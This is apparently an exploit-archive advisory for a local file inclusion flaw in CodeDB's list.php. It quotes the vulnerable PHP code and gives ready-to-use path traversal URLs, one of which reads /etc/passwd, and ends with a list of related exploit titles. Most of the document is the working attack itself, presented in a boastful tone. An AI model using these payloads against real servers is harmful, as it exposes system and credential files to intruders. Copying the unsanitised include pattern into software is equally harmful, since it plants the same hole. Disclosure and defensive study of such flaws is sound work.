###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd
http://[host]/[codeDB_path]/list.php?lang=../[local_file]
EoF.
【CodeDB (list.php lang) Local File Inclusion Vulnerability】相关文章:
★ Mole Group Real Estate Script
★ VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
★ Joomla Component EZ Store Remote Blind SQL Injection Exploit
★ pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
★ BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability
★ AlstraSoft Affiliate Network Pro (pgm) Remote SQL Injection Vulnerability
★ trixbox (langChoice) Local File Inclusion Exploit (connect-back)
★ Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit
★ Joomla Component DT Register Remote SQL injection Vulnerability
★ Dreampics Builder (page) Remote SQL Injection Vulnerability